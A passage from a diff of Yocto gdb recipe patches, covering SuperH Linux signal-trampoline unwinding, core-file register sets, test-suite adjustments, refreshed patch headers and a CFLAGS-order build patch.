-+#define LINUX_RT_SIGTRAMP_INSN2 OR_R0_R0 /* or r0,r0 (insert to avoid hardware bug) */
-+
-+static const unsigned short linux_rt_sigtramp_code[] =
-+{
-+ LINUX_RT_SIGTRAMP_INSN0,
-+ LINUX_RT_SIGTRAMP_INSN1,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ LINUX_RT_SIGTRAMP_INSN2,
-+ __NR_rt_sigreturn
-+};
-+
-+#define LINUX_RT_SIGTRAMP_LEN (sizeof linux_rt_sigtramp_code)
-+
-+/* If PC is in a RT sigtramp routine, return the address of the start
-+ of the routine. Otherwise, return 0. */
-+
-+static CORE_ADDR
-+sh_linux_rt_sigtramp_start (struct frame_info *next_frame)
-+{
-+ CORE_ADDR pc = get_frame_pc (next_frame);
-+ gdb_byte buf[LINUX_RT_SIGTRAMP_LEN];
-+
-+ /* We only recognize a signal trampoline if PC is at the start of
-+ one of the two instructions. We optimize for finding the PC at
-+ the start, as will be the case when the trampoline is not the
-+ first frame on the stack. We assume that in the case where the
-+ PC is not at the start of the instruction sequence, there will be
-+ a few trailing readable bytes on the stack. */
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf, LINUX_RT_SIGTRAMP_LEN))
-+ return 0;
-+
-+ if (buf[0] != LINUX_RT_SIGTRAMP_INSN0)
-+ {
-+ if (buf[0] != LINUX_RT_SIGTRAMP_INSN1)
-+ return 0;
-+
-+ pc -= 2;
-+
-+ if (!safe_frame_unwind_memory (next_frame, pc, buf,
-+ LINUX_RT_SIGTRAMP_LEN))
-+ return 0;
-+ }
-+
-+ if (memcmp (buf, linux_rt_sigtramp_code, LINUX_RT_SIGTRAMP_LEN) != 0)
-+ return 0;
-+
-+ return pc;
-+}
-+
-+/* Return whether PC is in a GNU/Linux sigtramp routine. */
-+
-+static int
-+sh_linux_sigtramp_p (struct frame_info *this_frame)
-+{
-+ CORE_ADDR pc = get_frame_pc (this_frame);
-+ char *name;
-+
-+ find_pc_partial_function (pc, &name, NULL, NULL);
-+
-+ /* If we have NAME, we can optimize the search. The trampolines are
-+ named __restore and __restore_rt. However, they aren't dynamically
-+ exported from the shared C library, so the trampoline may appear to
-+ be part of the preceding function. This should always be sigaction,
-+ __sigaction, or __libc_sigaction (all aliases to the same function). */
-+ if (name == NULL || strstr (name, "sigaction") != NULL)
-+ return (sh_linux_sigtramp_start (this_frame) != 0
-+ || sh_linux_rt_sigtramp_start (this_frame) != 0);
-+
-+ return (strcmp ("__restore", name) == 0
-+ || strcmp ("__restore_rt", name) == 0);
-+}
-+
-+/* Offset to struct sigcontext in ucontext, from <asm/ucontext.h>. */
-+#define SH_LINUX_UCONTEXT_SIGCONTEXT_OFFSET 12
-+
-+
-+/* Assuming NEXT_FRAME is a frame following a GNU/Linux sigtramp
-+ routine, return the address of the associated sigcontext structure. */
-+
-+static CORE_ADDR
-+sh_linux_sigcontext_addr (struct frame_info *this_frame)
-+{
-+ CORE_ADDR pc;
-+ CORE_ADDR sp;
-+
-+ sp = get_frame_register_unsigned (this_frame, SP_REGNUM);
-+
-+ pc = sh_linux_sigtramp_start (this_frame);
-+ if (pc)
-+ {
-+ return sp;
-+ }
-+
-+ pc = sh_linux_rt_sigtramp_start (this_frame);
-+ if (pc)
-+ {
-+ CORE_ADDR ucontext_addr;
-+
-+ /* The sigcontext structure is part of the user context. A
-+ pointer to the user context is passed as the third argument
-+ to the signal handler. */
-+ ucontext_addr = get_frame_register_unsigned (this_frame, ARG0_REGNUM+2);
-+ return ucontext_addr + SH_LINUX_UCONTEXT_SIGCONTEXT_OFFSET;
-+ }
-+
-+ error ("Couldn't recognize signal trampoline.");
-+ return 0;
-+}
-+
-+/* Signal trampolines. */
-+extern struct sh_frame_cache *sh_alloc_frame_cache (void);
-+
-+static struct sh_frame_cache *
-+sh_linux_sigtramp_frame_cache (struct frame_info *this_frame, void **this_cache)
-+{
-+ struct sh_frame_cache *cache;
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (get_current_arch ());
-+ CORE_ADDR sigcontext_addr;
-+
-+ if (*this_cache)
-+ return *this_cache;
-+
-+ cache = sh_alloc_frame_cache ();
-+
-+ cache->base = get_frame_register_unsigned (this_frame, SP_REGNUM);
-+ sigcontext_addr = tdep->sigcontext_addr (this_frame);
-+ if (tdep->sc_reg_offset)
-+ {
-+ int i;
-+
-+ gdb_assert (tdep->sc_num_regs <= SH_NUM_REGS);
-+
-+ for (i = 0; i < tdep->sc_num_regs; i++)
-+ if (tdep->sc_reg_offset[i] != -1)
-+ cache->saved_regs[i] = sigcontext_addr + tdep->sc_reg_offset[i];
-+ }
-+
-+ *this_cache = cache;
-+ return cache;
-+}
-+
-+static void
-+sh_linux_sigtramp_frame_this_id (struct frame_info *this_frame, void **this_cache,
-+ struct frame_id *this_id)
-+{
-+ struct sh_frame_cache *cache =
-+ sh_linux_sigtramp_frame_cache (this_frame, this_cache);
-+
-+ (*this_id) = frame_id_build (cache->base + 64, cache->pc);
-+}
-+
-+extern struct value * sh_frame_prev_register ();
-+static struct value *
-+sh_linux_sigtramp_frame_prev_register (struct frame_info *this_frame,
-+ void **this_cache, int regnum)
-+{
-+ sh_linux_sigtramp_frame_cache (this_frame, this_cache);
-+
-+ return sh_frame_prev_register (this_frame, this_cache, regnum);
-+}
-+
-+static int
-+sh_linux_sigtramp_frame_sniffer (const struct frame_unwind *self,
-+ struct frame_info *this_frame,
-+ void **this_prologue_cache)
-+{
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (get_frame_arch (this_frame));
-+
-+ /* We shouldn't even bother if we don't have a sigcontext_addr
-+ handler. */
-+ if (tdep->sigcontext_addr == NULL)
-+ return 0;
-+
-+ if (tdep->sigtramp_p != NULL)
-+ {
-+ if (tdep->sigtramp_p (this_frame))
-+ return 1;
-+ }
-+
-+ return 0;
-+}
-+
-+static const struct frame_unwind sh_linux_sigtramp_frame_unwind =
-+{
-+ SIGTRAMP_FRAME,
-+ sh_linux_sigtramp_frame_this_id,
-+ sh_linux_sigtramp_frame_prev_register,
-+ NULL,
-+ sh_linux_sigtramp_frame_sniffer
-+};
-+
-+/* Supply register REGNUM from the buffer specified by GREGS and LEN
-+ in the general-purpose register set REGSET to register cache
-+ REGCACHE. If REGNUM is -1, do this for all registers in REGSET. */
-+
-+void
-+sh_supply_gregset (const struct regset *regset, struct regcache *regcache,
-+ int regnum, const void *gregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ const char *regs = gregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_gregset);
-+
-+ for (i = 0; i < tdep->gregset_num_regs; i++)
-+ {
-+ if ((regnum == i || regnum == -1)
-+ && tdep->gregset_reg_offset[i] != -1)
-+ regcache_raw_supply (regcache, i, regs + tdep->gregset_reg_offset[i]);
-+ }
-+}
-+
-+/* Collect register REGNUM from the register cache REGCACHE and store
-+ it in the buffer specified by GREGS and LEN as described by the
-+ general-purpose register set REGSET. If REGNUM is -1, do this for
-+ all registers in REGSET. */
-+
-+void
-+sh_collect_gregset (const struct regset *regset,
-+ const struct regcache *regcache,
-+ int regnum, void *gregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ char *regs = gregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_gregset);
-+
-+ for (i = 0; i < tdep->gregset_num_regs; i++)
-+ {
-+ if ((regnum == i || regnum == -1)
-+ && tdep->gregset_reg_offset[i] != -1)
-+ regcache_raw_collect (regcache, i, regs + tdep->gregset_reg_offset[i]);
-+ }
-+}
-+
-+/* Supply register REGNUM from the buffer specified by FPREGS and LEN
-+ in the floating-point register set REGSET to register cache
-+ REGCACHE. If REGNUM is -1, do this for all registers in REGSET. */
-+
-+static void
-+sh_supply_fpregset (const struct regset *regset, struct regcache *regcache,
-+ int regnum, const void *fpregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ const char *regs = fpregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_fpregset);
-+ for (i = 0; i < 16; i++)
-+ {
-+ if (regnum == i+25 || regnum == -1)
-+ regcache_raw_supply (regcache, i+25, regs + i*4);
-+ }
-+ if (regnum == FPSCR_REGNUM || regnum == -1)
-+ regcache_raw_supply (regcache, FPSCR_REGNUM, regs + 32*4);
-+ if (regnum == FPUL_REGNUM || regnum == -1)
-+ regcache_raw_supply (regcache, FPUL_REGNUM, regs + 33*4);
-+}
-+
-+/* Collect register REGNUM from the register cache REGCACHE and store
-+ it in the buffer specified by FPREGS and LEN as described by the
-+ floating-point register set REGSET. If REGNUM is -1, do this for
-+ all registers in REGSET. */
-+
-+static void
-+sh_collect_fpregset (const struct regset *regset,
-+ const struct regcache *regcache,
-+ int regnum, void *fpregs, size_t len)
-+{
-+ const struct gdbarch_tdep *tdep = gdbarch_tdep (regset->arch);
-+ char *regs = fpregs;
-+ int i;
-+
-+ gdb_assert (len == tdep->sizeof_fpregset);
-+ for (i = 0; i < 16; i++)
-+ {
-+ if (regnum == i+25 || regnum == -1)
-+ regcache_raw_collect (regcache, i+25, regs + i*4);
-+ }
-+ if (regnum == FPSCR_REGNUM || regnum == -1)
-+ regcache_raw_collect (regcache, FPSCR_REGNUM, regs + 32*4);
-+ if (regnum == FPUL_REGNUM || regnum == -1)
-+ regcache_raw_collect (regcache, FPUL_REGNUM, regs + 33*4);
-+}
-+
-+/* Return the appropriate register set for the core section identified
-+ by SECT_NAME and SECT_SIZE. */
-+
-+const struct regset *
-+sh_linux_regset_from_core_section (struct gdbarch *gdbarch,
-+ const char *sect_name, size_t sect_size)
-+{
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (gdbarch);
-+
-+ if (strcmp (sect_name, ".reg") == 0 && sect_size == tdep->sizeof_gregset)
-+ {
-+ if (tdep->gregset == NULL)
-+ tdep->gregset = regset_alloc (gdbarch, sh_supply_gregset,
-+ sh_collect_gregset);
-+ return tdep->gregset;
-+ }
-+
-+ if ((strcmp (sect_name, ".reg2") == 0 && sect_size == tdep->sizeof_fpregset))
-+ {
-+ if (tdep->fpregset == NULL)
-+ tdep->fpregset = regset_alloc (gdbarch, sh_supply_fpregset,
-+ sh_collect_fpregset);
-+ return tdep->fpregset;
-+ }
-+
-+ return NULL;
-+}
-+
-+/* The register sets used in GNU/Linux ELF core-dumps are identical to
-+ the register sets in `struct user' that are used for a.out
-+ core-dumps. These are also used by ptrace(2). The corresponding
-+ types are `elf_gregset_t' for the general-purpose registers (with
-+ `elf_greg_t' the type of a single GP register) and `elf_fpregset_t'
-+ for the floating-point registers.
-+
-+ Those types used to be available under the names `gregset_t' and
-+ `fpregset_t' too, and GDB used those names in the past. But those
-+ names are now used for the register sets used in the `mcontext_t'
-+ type, which have a different size and layout. */
-+
-+/* Mapping between the general-purpose registers in `struct user'
-+ format and GDB's register cache layout. */
-+
-+/* From <sys/reg.h>. */
-+static int sh_linux_gregset_reg_offset[] =
-+{
-+ 0, 4, 8, 12, 16, 20, 24, 28,
-+ 32, 36, 40, 44, 48, 52, 56, 60,
-+
-+ REG_PC*4, REG_PR*4, REG_GBR*4, -1,
-+ REG_MACH*4, REG_MACL*4, REG_SR*4,
-+};
-+
-+/* Mapping between the general-purpose registers in `struct
-+ sigcontext' format and GDB's register cache layout. */
-+
-+/* From <asm/sigcontext.h>. */
-+static int sh_linux_sc_reg_offset[] =
-+{
-+ 4, 8, 12, 16, 20, 24, 28, 32,
-+ 36, 40, 44, 48, 52, 56, 60, 64,
-+ 68, 72, 80, -1,
-+ 84, 88, 76
-+};
-+
- static void
- sh_linux_init_abi (struct gdbarch_info info, struct gdbarch *gdbarch)
- {
-+ struct gdbarch_tdep *tdep = gdbarch_tdep (gdbarch);
-+ bfd abfd;
-+
-+ tdep->gregset_reg_offset = sh_linux_gregset_reg_offset;
-+ tdep->gregset_num_regs = ARRAY_SIZE (sh_linux_gregset_reg_offset);
-+ tdep->sizeof_gregset = 23 * 4;
-+
-+ tdep->jb_pc_offset = 32; /* From <bits/setjmp.h>. */
-+
-+ tdep->sigtramp_p = sh_linux_sigtramp_p;
-+ tdep->sigcontext_addr = sh_linux_sigcontext_addr;
-+ tdep->sc_reg_offset = sh_linux_sc_reg_offset;
-+ tdep->sc_num_regs = ARRAY_SIZE (sh_linux_sc_reg_offset);
-+
-+ frame_unwind_append_unwinder(gdbarch, &sh_linux_sigtramp_frame_unwind);
-+
-+ /* If we have a register mapping, enable the generic core file
-+ support, unless it has already been enabled. */
-+ if (tdep->gregset_reg_offset
-+ && !gdbarch_regset_from_core_section_p (gdbarch))
-+ set_gdbarch_regset_from_core_section (gdbarch,
-+ sh_linux_regset_from_core_section);
-+
- linux_init_abi (info, gdbarch);
-
- /* GNU/Linux uses SVR4-style shared libraries. */
-diff --git a/gdb/sh-tdep.c b/gdb/sh-tdep.c
-index 7aadf9165ca..e173e215a2d 100644
---- a/gdb/sh-tdep.c
-+++ b/gdb/sh-tdep.c
-@@ -21,6 +21,9 @@
- sac@cygnus.com. */
-
- #include "defs.h"
-+#include "arch-utils.h"
-+#include "command.h"
-+#include "dummy-frame.h"
- #include "frame.h"
- #include "frame-base.h"
- #include "frame-unwind.h"
-@@ -66,23 +69,6 @@ static const char *const sh_cc_enum[] = {
-
- static const char *sh_active_calling_convention = sh_cc_gcc;
-
--#define SH_NUM_REGS 67
--
--struct sh_frame_cache
--{
-- /* Base address. */
-- CORE_ADDR base;
-- LONGEST sp_offset;
-- CORE_ADDR pc;
--
-- /* Flag showing that a frame has been created in the prologue code. */
-- int uses_fp;
--
-- /* Saved registers. */
-- CORE_ADDR saved_regs[SH_NUM_REGS];
-- CORE_ADDR saved_sp;
--};
--
- static int
- sh_is_renesas_calling_convention (struct type *func_type)
- {
-@@ -1050,6 +1036,7 @@ sh_treat_as_flt_p (struct type *type)
- return 0;
- /* Otherwise if the type of that member is float, the whole type is
- treated as float. */
-+ type = check_typedef (type);
- if (type->field (0).type ()->code () == TYPE_CODE_FLT)
- return 1;
- /* Otherwise it's not treated as float. */
-@@ -1100,7 +1087,7 @@ sh_push_dummy_call_fpu (struct gdbarch *gdbarch,
- in four registers available. Loop thru args from first to last. */
- for (argnum = 0; argnum < nargs; argnum++)
- {
-- type = value_type (args[argnum]);
-+ type = check_typedef (value_type (args[argnum]));
- len = TYPE_LENGTH (type);
- val = sh_justify_value_in_reg (gdbarch, args[argnum], len);
-
-@@ -1835,7 +1822,7 @@ sh_dwarf2_frame_init_reg (struct gdbarch *gdbarch, int regnum,
- reg->how = DWARF2_FRAME_REG_UNDEFINED;
- }
-
--static struct sh_frame_cache *
-+struct sh_frame_cache *
- sh_alloc_frame_cache (void)
- {
- struct sh_frame_cache *cache;
-@@ -1862,7 +1849,7 @@ sh_alloc_frame_cache (void)
- return cache;
- }
-
--static struct sh_frame_cache *
-+struct sh_frame_cache *
- sh_frame_cache (struct frame_info *this_frame, void **this_cache)
- {
- struct gdbarch *gdbarch = get_frame_arch (this_frame);
-@@ -1929,9 +1916,9 @@ sh_frame_cache (struct frame_info *this_frame, void **this_cache)
- return cache;
- }
-
--static struct value *
--sh_frame_prev_register (struct frame_info *this_frame,
-- void **this_cache, int regnum)
-+struct value *
-+sh_frame_prev_register (struct frame_info *this_frame, void **this_cache,
-+ int regnum)
- {
- struct gdbarch *gdbarch = get_frame_arch (this_frame);
- struct sh_frame_cache *cache = sh_frame_cache (this_frame, this_cache);
-@@ -1945,7 +1932,7 @@ sh_frame_prev_register (struct frame_info *this_frame,
- the current frame. Frob regnum so that we pull the value from
- the correct place. */
- if (regnum == gdbarch_pc_regnum (gdbarch))
-- regnum = PR_REGNUM;
-+ regnum = PR_REGNUM; /* XXX: really? */
-
- if (regnum < SH_NUM_REGS && cache->saved_regs[regnum] != -1)
- return frame_unwind_got_memory (this_frame, regnum,
-@@ -2234,8 +2221,8 @@ sh_return_in_first_hidden_param_p (struct gdbarch *gdbarch,
- static struct gdbarch *
- sh_gdbarch_init (struct gdbarch_info info, struct gdbarch_list *arches)
- {
-- struct gdbarch *gdbarch;
- struct gdbarch_tdep *tdep;
-+ struct gdbarch *gdbarch;
-
- /* If there is already a candidate, use it. */
- arches = gdbarch_list_lookup_by_info (arches, &info);
-@@ -2247,6 +2234,18 @@ sh_gdbarch_init (struct gdbarch_info info, struct gdbarch_list *arches)
- tdep = XCNEW (struct gdbarch_tdep);
- gdbarch = gdbarch_alloc (&info, tdep);
-
-+ /* General-purpose registers. */
-+ tdep->gregset = NULL;
-+ tdep->gregset_reg_offset = NULL;
-+ tdep->gregset_num_regs = 23;
-+ tdep->sizeof_gregset = 0;
-+
-+ /* Floating-point registers. */
-+ tdep->fpregset = NULL;
-+ tdep->sizeof_fpregset = 34*4;
-+
-+ tdep->jb_pc_offset = -1;
-+
- set_gdbarch_short_bit (gdbarch, 2 * TARGET_CHAR_BIT);
- set_gdbarch_int_bit (gdbarch, 4 * TARGET_CHAR_BIT);
- set_gdbarch_long_bit (gdbarch, 4 * TARGET_CHAR_BIT);
-@@ -2398,10 +2397,11 @@ sh_gdbarch_init (struct gdbarch_info info, struct gdbarch_list *arches)
- break;
- }
-
-+ dwarf2_append_unwinders (gdbarch);
-+
- /* Hook in ABI-specific overrides, if they have been registered. */
- gdbarch_init_osabi (info, gdbarch);
-
-- dwarf2_append_unwinders (gdbarch);
- frame_unwind_append_unwinder (gdbarch, &sh_stub_unwind);
- frame_unwind_append_unwinder (gdbarch, &sh_frame_unwind);
-
-diff --git a/gdb/sh-tdep.h b/gdb/sh-tdep.h
-index 76e2e76e39b..2710f63010c 100644
---- a/gdb/sh-tdep.h
-+++ b/gdb/sh-tdep.h
-@@ -21,6 +21,12 @@
-
- /* Contributed by Steve Chamberlain sac@cygnus.com. */
-
-+struct frame_info;
-+struct gdbarch;
-+struct reggroup;
-+struct regset;
-+struct regcache;
-+
- /* Registers for all SH variants. Used also by sh3-rom.c. */
- enum
- {
-@@ -29,6 +35,7 @@ enum
- ARG0_REGNUM = 4,
- ARGLAST_REGNUM = 7,
- FP_REGNUM = 14,
-+ SP_REGNUM = 15,
- PC_REGNUM = 16,
- PR_REGNUM = 17,
- GBR_REGNUM = 18,
-@@ -81,6 +88,24 @@ enum
- FV0_REGNUM = 76,
- FV_LAST_REGNUM = 79
- };
-+#define SH_NUM_REGS 67
-+
-+struct sh_frame_cache
-+{
-+ /* Base address. */
-+ CORE_ADDR base;
-+ LONGEST sp_offset;
-+ CORE_ADDR pc;
-+
-+ /* Flag showing that a frame has been created in the prologue code. */
-+ int uses_fp;
-+
-+ /* Saved registers. */
-+ CORE_ADDR saved_regs[SH_NUM_REGS];
-+ CORE_ADDR saved_sp;
-+};
-+
-+extern struct sh_frame_cache *sh_frame_cache (struct frame_info *next_frame, void **this_cache);
-
- /* This structure describes a register in a core-file. */
- struct sh_corefile_regmap
-@@ -89,8 +114,32 @@ struct sh_corefile_regmap
- unsigned int offset;
- };
-
-+/* sh architecture specific information. */
- struct gdbarch_tdep
- {
-+ /* General-purpose registers. */
-+ struct regset *gregset;
-+ int *gregset_reg_offset;
-+ int gregset_num_regs;
-+ size_t sizeof_gregset;
-+
-+ /* Floating-point registers. */
-+ struct regset *fpregset;
-+ size_t sizeof_fpregset;
-+
-+ /* Offset of saved PC in jmp_buf. */
-+ int jb_pc_offset;
-+
-+ /* Detect sigtramp. */
-+ int (*sigtramp_p) (struct frame_info *);
-+
-+ /* Get address of sigcontext for sigtramp. */
-+ CORE_ADDR (*sigcontext_addr) (struct frame_info *);
-+
-+ /* Offset of registers in `struct sigcontext'. */
-+ int *sc_reg_offset;
-+ int sc_num_regs;
-+
- /* Non-NULL when debugging from a core file. Provides the offset
- where each general-purpose register is stored inside the associated
- core file section. */
-diff --git a/gdb/testsuite/gdb.asm/asm-source.exp b/gdb/testsuite/gdb.asm/asm-source.exp
-index 4914498f98c..6e25cbed185 100644
---- a/gdb/testsuite/gdb.asm/asm-source.exp
-+++ b/gdb/testsuite/gdb.asm/asm-source.exp
-@@ -116,6 +116,11 @@ switch -glob -- [istarget] {
- append link-flags " -m elf32ppc"
- }
- }
-+ "sh*-linux*" {
-+ set asm-arch sh-linux
-+ set asm-flags "-I${srcdir}/${subdir} -I${objdir}/${subdir}"
-+ set debug-flags "-gdwarf-2"
-+ }
- "sh*-*-*" {
- set asm-arch sh
- set debug-flags "-gdwarf-2"
-diff --git a/gdb/testsuite/gdb.asm/sh.inc b/gdb/testsuite/gdb.asm/sh.inc
-index a4a5fc545e4..89efed7795c 100644
---- a/gdb/testsuite/gdb.asm/sh.inc
-+++ b/gdb/testsuite/gdb.asm/sh.inc
-@@ -40,9 +40,8 @@
- mov.l .Lconst\@,r1
- bra .Lafterconst\@
- nop
-- nop
--.Lconst\@:
- .align 2
-+.Lconst\@:
- .long \subr
- .align 1
- .Lafterconst\@:
-diff --git a/gdb/testsuite/gdb.base/annota1.c b/gdb/testsuite/gdb.base/annota1.c
-index 424e1b83278..0de2e7b633a 100644
---- a/gdb/testsuite/gdb.base/annota1.c
-+++ b/gdb/testsuite/gdb.base/annota1.c
-@@ -1,6 +1,9 @@
- #include <stdio.h>
- #include <signal.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#endif
-
- void
- handle_USR1 (int sig)
-diff --git a/gdb/testsuite/gdb.base/annota3.c b/gdb/testsuite/gdb.base/annota3.c
-index 424e1b83278..952aaf218ab 100644
---- a/gdb/testsuite/gdb.base/annota3.c
-+++ b/gdb/testsuite/gdb.base/annota3.c
-@@ -1,6 +1,10 @@
- #include <stdio.h>
- #include <signal.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#endif
-+
-
- void
- handle_USR1 (int sig)
-diff --git a/gdb/testsuite/gdb.base/sigall.c b/gdb/testsuite/gdb.base/sigall.c
-index 81f3b08d6bc..1574b2d6cb8 100644
---- a/gdb/testsuite/gdb.base/sigall.c
-+++ b/gdb/testsuite/gdb.base/sigall.c
-@@ -1,6 +1,9 @@
- #include <signal.h>
- #include <unistd.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#endif
-
- /* Signal handlers, we set breakpoints in them to make sure that the
- signals really get delivered. */
-diff --git a/gdb/testsuite/gdb.base/signals.c b/gdb/testsuite/gdb.base/signals.c
-index 756606880fa..1205a9bc9c5 100644
---- a/gdb/testsuite/gdb.base/signals.c
-+++ b/gdb/testsuite/gdb.base/signals.c
-@@ -3,6 +3,10 @@
- #include <signal.h>
- #include <unistd.h>
-
-+#ifdef __sh__
-+#define signal(a,b) /* Signals not supported on this target - make them go away */
-+#define alarm(a) /* Ditto for alarm() */
-+#endif
-
- static int count = 0;
-
---
-2.29.2
-
diff --git a/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch b/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch
index 71eab1c2b1..02ea30f9bf 100644
--- a/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch
+++ b/meta/recipes-devtools/gdb/gdb/0005-Dont-disable-libreadline.a-when-using-disable-static.patch
@@ -1,7 +1,7 @@
-From ec566877c50bdae0013a38dd457004e1db725d86 Mon Sep 17 00:00:00 2001
+From e2efd044c479895767f1b929f5a54fa0c689f318 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 30 Apr 2016 15:25:03 -0700
-Subject: [PATCH 05/11] Dont disable libreadline.a when using --disable-static
+Subject: [PATCH 05/10] Dont disable libreadline.a when using --disable-static
If gdb is configured with --disable-static then this is dutifully passed to
readline which then disables libreadline.a, which causes a problem when gdb
@@ -19,7 +19,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
2 files changed, 3 insertions(+), 2 deletions(-)
diff --git a/Makefile.def b/Makefile.def
-index 76d062bb671..e0a1e2b14b1 100644
+index 5a460f1dbbc..77a702ac6d6 100644
--- a/Makefile.def
+++ b/Makefile.def
@@ -105,7 +105,8 @@ host_modules= { module= libiconv;
@@ -33,10 +33,10 @@ index 76d062bb671..e0a1e2b14b1 100644
host_modules= { module= sim; };
host_modules= { module= texinfo; no_install= true; };
diff --git a/Makefile.in b/Makefile.in
-index 9dfd39fae13..eaf1dd0f229 100644
+index 9b3a5d75735..98cbe844fca 100644
--- a/Makefile.in
+++ b/Makefile.in
-@@ -25548,7 +25548,7 @@ configure-readline:
+@@ -25607,7 +25607,7 @@ configure-readline:
$$s/$$module_srcdir/configure \
--srcdir=$${topdir}/$$module_srcdir \
$(HOST_CONFIGARGS) --build=${build_alias} --host=${host_alias} \
@@ -46,5 +46,5 @@ index 9dfd39fae13..eaf1dd0f229 100644
@endif readline
--
-2.29.2
+2.33.1
diff --git a/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch b/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch
index a2932be6fb..ef271c45e2 100644
--- a/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch
+++ b/meta/recipes-devtools/gdb/gdb/0006-use-asm-sgidefs.h.patch
@@ -1,7 +1,7 @@
-From 4b02e54b87d435e1715ce871bcce720561a7afb1 Mon Sep 17 00:00:00 2001
+From 5077518c11e8d75e9bf65cdf9ca21c59564e1037 Mon Sep 17 00:00:00 2001
From: Andre McCurdy <amccurdy@gmail.com>
Date: Sat, 30 Apr 2016 15:29:06 -0700
-Subject: [PATCH 06/11] use <asm/sgidefs.h>
+Subject: [PATCH 06/10] use <asm/sgidefs.h>
Build fix for MIPS with musl libc
@@ -19,7 +19,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/gdb/mips-linux-nat.c b/gdb/mips-linux-nat.c
-index 4337795bac8..7c8e54cabe0 100644
+index 6614b4de31e..237eb6eb975 100644
--- a/gdb/mips-linux-nat.c
+++ b/gdb/mips-linux-nat.c
@@ -31,7 +31,7 @@
@@ -32,5 +32,5 @@ index 4337795bac8..7c8e54cabe0 100644
#include <asm/ptrace.h>
#include "inf-ptrace.h"
--
-2.29.2
+2.33.1
diff --git a/meta/recipes-devtools/gdb/gdb/0007-Change-order-of-CFLAGS.patch b/meta/recipes-devtools/gdb/gdb/0007-Change-order-of-CFLAGS.patch
new file mode 100644
index 0000000000..40d12579c0
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb/0007-Change-order-of-CFLAGS.patch
@@ -0,0 +1,30 @@
+From 80080e6c8425ac51498f49c2063b960a08f9a27d Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 30 Apr 2016 15:35:39 -0700
+Subject: [PATCH 07/10] Change order of CFLAGS
+
+Lets us override Werror if need be
+
+Upstream-Status: Inappropriate
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gdbserver/Makefile.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gdbserver/Makefile.in b/gdbserver/Makefile.in
+index 12e9b2777ae..ad44fbc3309 100644
+--- a/gdbserver/Makefile.in
++++ b/gdbserver/Makefile.in
+@@ -172,7 +172,7 @@ WIN32APILIBS = @WIN32APILIBS@
+ INTERNAL_CFLAGS_BASE = ${GLOBAL_CFLAGS} \
+ ${PROFILE_CFLAGS} ${INCLUDE_CFLAGS} ${CPPFLAGS} $(PTHREAD_CFLAGS)
+ INTERNAL_WARN_CFLAGS = ${INTERNAL_CFLAGS_BASE} $(WARN_CFLAGS)
+-INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) -DGDBSERVER
++INTERNAL_CFLAGS = ${INTERNAL_WARN_CFLAGS} $(WERROR_CFLAGS) ${COMPILER_CFLAGS} -DGDBSERVER
+
+ # LDFLAGS is specifically reserved for setting from the command line
+ # when running make.
+--
+2.33.1
+
diff --git a/meta/recipes-devtools/gdb/gdb/0007-Use-exorted-definitions-of-SIGRTMIN.patch b/meta/recipes-devtools/gdb/gdb/0007-Use-exorted-definitions-of-SIGRTMIN.patch
deleted file mode 100644
index 8cbc50b75f..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0007-Use-exorted-definitions-of-SIGRTMIN.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 53f694ffa1ee9893b834758413c23947957f0fee Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 30 Apr 2016 15:31:40 -0700
-Subject: [PATCH 07/11] Use exorted definitions of SIGRTMIN
-
-Define W_STOPCODE if not defined already
-
-__SIGRTMIN is internal to glibc and other libcs e.g. musl
-may not provide them
-
-Fixes
-https://sourceware.org/bugzilla/show_bug.cgi?id=13012
-
-Upstream-Status: Submitted
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/linux-nat.c | 4 ++--
- gdb/nat/linux-nat.h | 4 ++++
- 2 files changed, 6 insertions(+), 2 deletions(-)
-
-diff --git a/gdb/linux-nat.c b/gdb/linux-nat.c
-index b81014024c7..e0513d47122 100644
---- a/gdb/linux-nat.c
-+++ b/gdb/linux-nat.c
-@@ -4428,6 +4428,6 @@ lin_thread_get_thread_signals (sigset_t *set)
- /* NPTL reserves the first two RT signals, but does not provide any
- way for the debugger to query the signal numbers - fortunately
- they don't change. */
-- sigaddset (set, __SIGRTMIN);
-- sigaddset (set, __SIGRTMIN + 1);
